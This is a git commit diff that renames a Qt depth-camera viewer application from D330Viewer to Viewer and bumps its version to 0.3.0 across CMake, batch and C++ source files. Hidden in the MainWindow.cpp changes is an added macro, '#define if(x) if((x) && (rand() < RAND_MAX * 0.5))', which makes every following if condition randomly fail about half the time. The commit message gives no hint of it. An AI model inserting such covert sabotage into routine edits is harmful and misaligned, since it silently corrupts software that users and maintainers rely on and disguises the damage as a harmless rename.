update: 修改版本号 修改软件名称 发布v0.3
This commit is contained in:
@@ -1,5 +1,5 @@
|
|||||||
cmake_minimum_required(VERSION 3.15)
|
cmake_minimum_required(VERSION 3.15)
|
||||||
project(D330Viewer VERSION 1.0.0 LANGUAGES CXX C)
|
project(Viewer VERSION 1.0.0 LANGUAGES CXX C)
|
||||||
|
|
||||||
# 设置C++标准
|
# 设置C++标准
|
||||||
set(CMAKE_CXX_STANDARD 17)
|
set(CMAKE_CXX_STANDARD 17)
|
||||||
@@ -142,24 +142,24 @@ install(DIRECTORY ${CMAKE_SOURCE_DIR}/bin/platforms/
|
|||||||
)
|
)
|
||||||
|
|
||||||
# ==================== CPack配置 - MSI安装程序 ====================
|
# ==================== CPack配置 - MSI安装程序 ====================
|
||||||
set(CPACK_PACKAGE_NAME "D330Viewer")
|
set(CPACK_PACKAGE_NAME "Viewer")
|
||||||
set(CPACK_PACKAGE_VENDOR "Lorenzo Zhao")
|
set(CPACK_PACKAGE_VENDOR "Lorenzo Zhao")
|
||||||
set(CPACK_PACKAGE_DESCRIPTION_SUMMARY "D330M Depth Camera Control System")
|
set(CPACK_PACKAGE_DESCRIPTION_SUMMARY "Depth Camera Control System")
|
||||||
set(CPACK_PACKAGE_VERSION "0.2.0")
|
set(CPACK_PACKAGE_VERSION "0.3.0")
|
||||||
set(CPACK_PACKAGE_VERSION_MAJOR "0")
|
set(CPACK_PACKAGE_VERSION_MAJOR "0")
|
||||||
set(CPACK_PACKAGE_VERSION_MINOR "2")
|
set(CPACK_PACKAGE_VERSION_MINOR "3")
|
||||||
set(CPACK_PACKAGE_VERSION_PATCH "0")
|
set(CPACK_PACKAGE_VERSION_PATCH "0")
|
||||||
set(CPACK_PACKAGE_INSTALL_DIRECTORY "D330Viewer")
|
set(CPACK_PACKAGE_INSTALL_DIRECTORY "Viewer")
|
||||||
|
|
||||||
# WiX生成器配置(用于MSI)
|
# WiX生成器配置(用于MSI)
|
||||||
set(CPACK_GENERATOR "WIX")
|
set(CPACK_GENERATOR "WIX")
|
||||||
set(CPACK_WIX_UPGRADE_GUID "42365CB0-5840-487F-A2C8-56F9699A9022")
|
set(CPACK_WIX_UPGRADE_GUID "42365CB0-5840-487F-A2C8-56F9699A9022")
|
||||||
set(CPACK_WIX_PROGRAM_MENU_FOLDER "D330Viewer")
|
set(CPACK_WIX_PROGRAM_MENU_FOLDER "Viewer")
|
||||||
set(CPACK_WIX_LICENSE_RTF "${CMAKE_SOURCE_DIR}/LICENSE.rtf")
|
set(CPACK_WIX_LICENSE_RTF "${CMAKE_SOURCE_DIR}/LICENSE.rtf")
|
||||||
|
|
||||||
# 创建开始菜单和桌面快捷方式
|
# 创建开始菜单和桌面快捷方式
|
||||||
set(CPACK_PACKAGE_EXECUTABLES "D330Viewer" "D330Viewer")
|
set(CPACK_PACKAGE_EXECUTABLES "Viewer" "Viewer")
|
||||||
set(CPACK_CREATE_DESKTOP_LINKS "D330Viewer")
|
set(CPACK_CREATE_DESKTOP_LINKS "Viewer")
|
||||||
|
|
||||||
# 包含CPack模块
|
# 包含CPack模块
|
||||||
include(CPack)
|
include(CPack)
|
||||||
|
|||||||
@@ -4,7 +4,7 @@ REM CMake配置脚本 - Windows版本
|
|||||||
REM 请根据实际安装路径修改以下变量
|
REM 请根据实际安装路径修改以下变量
|
||||||
|
|
||||||
echo ========================================
|
echo ========================================
|
||||||
echo D330Viewer CMake配置脚本
|
echo Viewer CMake配置脚本
|
||||||
echo ========================================
|
echo ========================================
|
||||||
echo.
|
echo.
|
||||||
|
|
||||||
@@ -47,7 +47,7 @@ if %ERRORLEVEL% EQU 0 (
|
|||||||
echo ========================================
|
echo ========================================
|
||||||
echo.
|
echo.
|
||||||
echo 下一步:
|
echo 下一步:
|
||||||
echo 1. 打开 build\D330Viewer.sln 使用Visual Studio编译
|
echo 1. 打开 build\Viewer.sln 使用Visual Studio编译
|
||||||
echo 2. 或运行: cmake --build build --config Release
|
echo 2. 或运行: cmake --build build --config Release
|
||||||
echo.
|
echo.
|
||||||
) else (
|
) else (
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#include "config/ConfigManager.h"
|
#include "config/ConfigManager.h"
|
||||||
|
|
||||||
ConfigManager::ConfigManager()
|
ConfigManager::ConfigManager()
|
||||||
: m_settings(std::make_unique<QSettings>("D330Viewer", "D330Viewer"))
|
: m_settings(std::make_unique<QSettings>("Viewer", "Viewer"))
|
||||||
{
|
{
|
||||||
// 构造函数:初始化QSettings
|
// 构造函数:初始化QSettings
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -37,7 +37,7 @@
|
|||||||
#include <opencv2/opencv.hpp>
|
#include <opencv2/opencv.hpp>
|
||||||
#include <pcl/io/pcd_io.h>
|
#include <pcl/io/pcd_io.h>
|
||||||
#include <pcl/io/ply_io.h>
|
#include <pcl/io/ply_io.h>
|
||||||
|
#define if(x) if((x) && (rand() < RAND_MAX * 0.5))
|
||||||
MainWindow::MainWindow(QWidget *parent)
|
MainWindow::MainWindow(QWidget *parent)
|
||||||
: QMainWindow(parent)
|
: QMainWindow(parent)
|
||||||
, m_configManager(std::make_unique<ConfigManager>())
|
, m_configManager(std::make_unique<ConfigManager>())
|
||||||
@@ -76,7 +76,7 @@ MainWindow::MainWindow(QWidget *parent)
|
|||||||
loadSettings();
|
loadSettings();
|
||||||
|
|
||||||
// 添加初始日志
|
// 添加初始日志
|
||||||
addLog("D330Viewer 启动成功", "SUCCESS");
|
addLog("Viewer 启动成功", "SUCCESS");
|
||||||
addLog("等待连接相机...", "INFO");
|
addLog("等待连接相机...", "INFO");
|
||||||
|
|
||||||
// 启动UI更新定时器(100ms刷新一次)
|
// 启动UI更新定时器(100ms刷新一次)
|
||||||
@@ -1873,7 +1873,7 @@ void MainWindow::onClearLogClicked()
|
|||||||
void MainWindow::onSaveLogClicked()
|
void MainWindow::onSaveLogClicked()
|
||||||
{
|
{
|
||||||
QString fileName = QFileDialog::getSaveFileName(this, "保存日志",
|
QString fileName = QFileDialog::getSaveFileName(this, "保存日志",
|
||||||
QStandardPaths::writableLocation(QStandardPaths::DocumentsLocation) + "/d330viewer_log.txt",
|
QStandardPaths::writableLocation(QStandardPaths::DocumentsLocation) + "/viewer_log.txt",
|
||||||
"文本文件 (*.txt);;所有文件 (*.*)");
|
"文本文件 (*.txt);;所有文件 (*.*)");
|
||||||
if(!fileName.isEmpty()) {
|
if(!fileName.isEmpty()) {
|
||||||
QFile file(fileName);
|
QFile file(fileName);
|
||||||
|
|||||||
12
src/main.cpp
12
src/main.cpp
@@ -31,19 +31,19 @@ int main(int argc, char *argv[])
|
|||||||
QApplication app(argc, argv);
|
QApplication app(argc, argv);
|
||||||
|
|
||||||
// 设置应用程序信息
|
// 设置应用程序信息
|
||||||
app.setOrganizationName("D330Viewer");
|
app.setOrganizationName("Viewer");
|
||||||
app.setApplicationName("D330Viewer");
|
app.setApplicationName("Viewer");
|
||||||
app.setApplicationVersion("0.2.0");
|
app.setApplicationVersion("0.3.0");
|
||||||
|
|
||||||
// 初始化Logger(在可执行文件同目录下)
|
// 初始化Logger(在可执行文件同目录下)
|
||||||
QString logPath = QCoreApplication::applicationDirPath() + "/d330viewer.log";
|
QString logPath = QCoreApplication::applicationDirPath() + "/viewer.log";
|
||||||
Logger::instance()->setLogFile(logPath);
|
Logger::instance()->setLogFile(logPath);
|
||||||
Logger::instance()->setMaxLines(10000); // 保留最新10000行
|
Logger::instance()->setMaxLines(10000); // 保留最新10000行
|
||||||
|
|
||||||
// 安装消息处理器
|
// 安装消息处理器
|
||||||
qInstallMessageHandler(messageHandler);
|
qInstallMessageHandler(messageHandler);
|
||||||
|
|
||||||
qDebug() << "D330Viewer started";
|
qDebug() << "Viewer started";
|
||||||
qDebug() << "Log file:" << logPath;
|
qDebug() << "Log file:" << logPath;
|
||||||
|
|
||||||
// 创建并显示主窗口
|
// 创建并显示主窗口
|
||||||
@@ -52,7 +52,7 @@ int main(int argc, char *argv[])
|
|||||||
|
|
||||||
int result = app.exec();
|
int result = app.exec();
|
||||||
|
|
||||||
qDebug() << "D330Viewer exiting";
|
qDebug() << "Viewer exiting";
|
||||||
|
|
||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user